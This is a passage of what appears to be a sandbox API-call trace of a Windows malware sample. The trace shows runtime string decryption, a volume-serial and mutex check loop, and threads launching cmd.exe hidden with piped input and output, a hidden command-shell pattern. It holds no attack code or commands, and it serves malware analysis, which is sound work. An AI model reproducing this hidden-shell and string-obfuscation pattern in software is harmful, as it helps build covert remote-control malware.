pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0137.096] CryptDestroyKey (hKey=0x753098) returned 1 [0137.096] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0137.096] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0137.096] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0137.096] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0137.096] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0137.096] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0137.096] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0137.096] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752e98) returned 1 [0137.096] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0137.096] CryptDecrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0137.096] CryptDestroyKey (hKey=0x752e98) returned 1 [0137.096] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0137.096] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x308 [0137.096] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0137.096] CloseHandle (hObject=0x308) returned 1 [0137.096] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0137.096] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0137.096] Sleep (dwMilliseconds=0x3e8) [0138.111] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0138.111] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752dd8) returned 1 [0138.111] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0138.111] CryptDecrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0138.111] CryptDestroyKey (hKey=0x752dd8) returned 1 [0138.111] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0138.111] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0138.111] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0138.111] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x753198) returned 1 [0138.111] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0138.111] CryptDecrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0138.111] CryptDestroyKey (hKey=0x753198) returned 1 [0138.111] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0138.111] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.111] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0138.111] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0138.111] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.111] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0138.111] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0138.111] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752b18) returned 1 [0138.111] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0138.112] CryptDecrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0138.112] CryptDestroyKey (hKey=0x752b18) returned 1 [0138.112] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0138.112] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2fc [0138.112] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0138.112] CloseHandle (hObject=0x2fc) returned 1 [0138.112] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0138.112] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0138.112] Sleep (dwMilliseconds=0x3e8) [0139.114] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0139.114] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752d58) returned 1 [0139.114] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0139.114] CryptDecrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0139.114] CryptDestroyKey (hKey=0x752d58) returned 1 [0139.114] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0139.114] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0139.114] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0139.114] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x752e98) returned 1 [0139.114] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0139.114] CryptDecrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0139.114] CryptDestroyKey (hKey=0x752e98) returned 1 [0139.114] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0139.114] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0139.114] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0139.114] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0139.115] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0139.115] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0139.115] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0139.115] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752e58) returned 1 [0139.115] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0139.115] CryptDecrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0139.115] CryptDestroyKey (hKey=0x752e58) returned 1 [0139.115] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0139.115] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2fc [0139.115] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0139.115] CloseHandle (hObject=0x2fc) returned 1 [0139.115] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0139.115] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0139.115] Sleep (dwMilliseconds=0x3e8) [0140.154] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf18f10 [0140.154] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x752ad8) returned 1 [0140.154] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0140.154] CryptDecrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc68 | out: pbData=0xf18f10, pdwDataLen=0xedfc68) returned 1 [0140.154] CryptDestroyKey (hKey=0x752ad8) returned 1 [0140.154] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf18f38 [0140.154] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf18f60 [0140.154] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf18f88 [0140.154] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x752fd8) returned 1 [0140.154] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0140.154] CryptDecrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f88, pdwDataLen=0xedfc40 | out: pbData=0xf18f88, pdwDataLen=0xedfc40) returned 1 [0140.154] CryptDestroyKey (hKey=0x752fd8) returned 1 [0140.154] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f88 | out: hHeap=0xf10000) returned 1 [0140.154] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf18f38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0140.154] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f60 | out: hHeap=0xf10000) returned 1 [0140.154] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0140.154] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0140.155] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f38 | out: hHeap=0xf10000) returned 1 [0140.155] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf18f10 [0140.155] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x752d18) returned 1 [0140.155] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0140.155] CryptDecrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0xedfc9c | out: pbData=0xf18f10, pdwDataLen=0xedfc9c) returned 1 [0140.155] CryptDestroyKey (hKey=0x752d18) returned 1 [0140.155] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf18f58 [0140.155] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2e4 [0140.155] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102 [0140.155] CloseHandle (hObject=0x2e4) returned 1 [0140.155] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0140.155] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f58 | out: hHeap=0xf10000) returned 1 [0140.155] Sleep (dwMilliseconds=0x3e8) Thread: id = 183 os_tid = 0xf48 [0126.808] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0126.808] CryptImportKey (in: hProv=0x7268e0, pbData=0x107f920, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x107f988 | out: phKey=0x107f988*=0x7392e8) returned 1 [0126.808] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x107f970, dwFlags=0x0) returned 1 [0126.808] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0x107f93c | out: pbData=0xf11298, pdwDataLen=0x107f93c) returned 1 [0126.808] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.808] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x14) returned 0xf112c0 [0126.808] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x14) returned 0xf11428 [0126.808] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11448 [0126.808] CryptImportKey (in: hProv=0x7268e0, pbData=0x107f8f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x107f960 | out: phKey=0x107f960*=0x7397a8) returned 1 [0126.809] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x107f948, dwFlags=0x0) returned 1 [0126.809] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11448, pdwDataLen=0x107f914 | out: pbData=0xf11448, pdwDataLen=0x107f914) returned 1 [0126.809] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11448 | out: hHeap=0xf10000) returned 1 [0126.809] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xf112c0, nSize=0xa | out: lpDst="") returned 0x1c [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11428 | out: hHeap=0xf10000) returned 1 [0126.809] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf112c0, Size=0x26) returned 0xf112c0 [0126.809] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x26) returned 0xf11428 [0126.809] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11458 [0126.809] CryptImportKey (in: hProv=0x7268e0, pbData=0x107f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x107f95c | out: phKey=0x107f95c*=0x7397a8) returned 1 [0126.809] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x107f944, dwFlags=0x0) returned 1 [0126.809] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11458, pdwDataLen=0x107f910 | out: pbData=0xf11458, pdwDataLen=0x107f910) returned 1 [0126.809] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11458 | out: hHeap=0xf10000) returned 1 [0126.809] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xf112c0, nSize=0x13 | out: lpDst="") returned 0x1c [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11428 | out: hHeap=0xf10000) returned 1 [0126.809] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf112c0, Size=0x4a) returned 0xf11428 [0126.809] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4a) returned 0xf11480 [0126.809] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0126.809] CryptImportKey (in: hProv=0x7268e0, pbData=0x107f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x107f95c | out: phKey=0x107f95c*=0x7397a8) returned 1 [0126.809] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x107f944, dwFlags=0x0) returned 1 [0126.809] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0x107f910 | out: pbData=0xf15280, pdwDataLen=0x107f910) returned 1 [0126.809] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0126.809] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xf11428, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11480 | out: hHeap=0xf10000) returned 1 [0126.809] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.809] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x50) returned 0xf11298 [0126.809] CryptImportKey (in: hProv=0x7268e0, pbData=0x107f918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x107f980 | out: phKey=0x107f980*=0x7393e8) returned 1 [0126.809] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0x107f968, dwFlags=0x0) returned 1 [0126.809] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0x107f934 | out: pbData=0xf11298, pdwDataLen=0x107f934) returned 1 [0126.809] CryptDestroyKey (hKey=0x7393e8) returned 1 [0126.809] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0126.809] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0126.809] Wow64DisableWow64FsRedirection (in: OldValue=0x107fa38 | out: OldValue=0x107fa38*=0x0) returned 1 [0126.810] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.810] CreatePipe (in: hReadPipe=0x107fa44, hWritePipe=0x107fa48, lpPipeAttributes=0x107fa20, nSize=0x0 | out: hReadPipe=0x107fa44*=0x248, hWritePipe=0x107fa48*=0x24c) returned 1 [0126.812] CreatePipe (in: hReadPipe=0x107fa40, hWritePipe=0x107fa3c, lpPipeAttributes=0x107fa20, nSize=0x0 | out: hReadPipe=0x107fa40*=0x250, hWritePipe=0x107fa3c*=0x254) returned 1 [0126.812] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0126.812] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0126.812] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x107f9cc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x107fa10 | out: lpCommandLine=0x0, lpProcessInformation=0x107fa10*(hProcess=0x25c, hThread=0x258, dwProcessId=0xf50, dwThreadId=0xf54)) returned 1 [0126.842] WriteFile (in: hFile=0x24c, lpBuffer=0xf112f8*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x107fa2c, lpOverlapped=0x0 | out: lpBuffer=0xf112f8*, lpNumberOfBytesWritten=0x107fa2c*=0xbc, lpOverlapped=0x0) returned 1 [0126.842] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) Thread: id = 184 os_tid = 0xf4c [0126.956] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0126.956] CryptImportKey (in: hProv=0x7268e0, pbData=0x11bfa48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x11bfab0 | out: phKey=0x11bfab0*=0x7397a8) returned 1 [0126.956] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x11bfa98, dwFlags=0x0) returned 1 [0126.956] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0x11bfa64 | out: pbData=0xf11298, pdwDataLen=0x11bfa64) returned 1 [0126.956] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x14) returned 0xf112c0 [0126.956] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x14) returned 0xf11480 [0126.956] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf114a0 [0126.956] CryptImportKey (in: hProv=0x7268e0, pbData=0x11bfa20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x11bfa88 | out: phKey=0x11bfa88*=0x7392e8) returned 1 [0126.956] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x11bfa70, dwFlags=0x0) returned 1 [0126.956] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf114a0, pdwDataLen=0x11bfa3c | out: pbData=0xf114a0, pdwDataLen=0x11bfa3c) returned 1 [0126.956] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.956] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114a0 | out: hHeap=0xf10000) returned 1 [0126.956] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xf112c0, nSize=0xa | out: lpDst="") returned 0x1c [0126.956] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11480 | out: hHeap=0xf10000) returned 1 [0126.956] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf112c0, Size=0x26) returned 0xf112c0 [0126.956] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x26) returned 0xf11480 [0126.956] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0126.956] CryptImportKey (in: hProv=0x7268e0, pbData=0x11bfa1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x11bfa84 | out: phKey=0x11bfa84*=0x7397a8) returned 1 [0126.956] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x11bfa6c, dwFlags=0x0) returned 1 [0126.956] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0x11bfa38 | out: pbData=0xf15280, pdwDataLen=0x11bfa38) returned 1 [0126.956] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.956] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0126.956] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xf112c0, nSize=0x13 | out: lpDst="") returned 0x1c [0126.956] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11480 | out: hHeap=0xf10000) returned 1 [0126.957] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf112c0, Size=0x4a) returned 0xf11480 [0126.957] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4a) returned 0xf114d8 [0126.957] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0126.957] CryptImportKey (in: hProv=0x7268e0, pbData=0x11bfa1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x11bfa84 | out: phKey=0x11bfa84*=0x7397a8) returned 1 [0126.957] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x11bfa6c, dwFlags=0x0) returned 1 [0126.957] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0x11bfa38 | out: pbData=0xf15280, pdwDataLen=0x11bfa38) returned 1 [0126.957] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.957] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0126.957] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xf11480, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0126.957] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0126.957] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x50) returned 0xf11298 [0126.957] CryptImportKey (in: hProv=0x7268e0, pbData=0x11bfa40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x11bfaa8 | out: phKey=0x11bfaa8*=0x7397a8) returned 1 [0126.957] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x11bfa90, dwFlags=0x0) returned 1 [0126.957] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0x11bfa5c | out: pbData=0xf11298, pdwDataLen=0x11bfa5c) returned 1 [0126.957] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.957] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0126.957] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0126.957] Wow64DisableWow64FsRedirection (in: OldValue=0x11bfb60 | out: 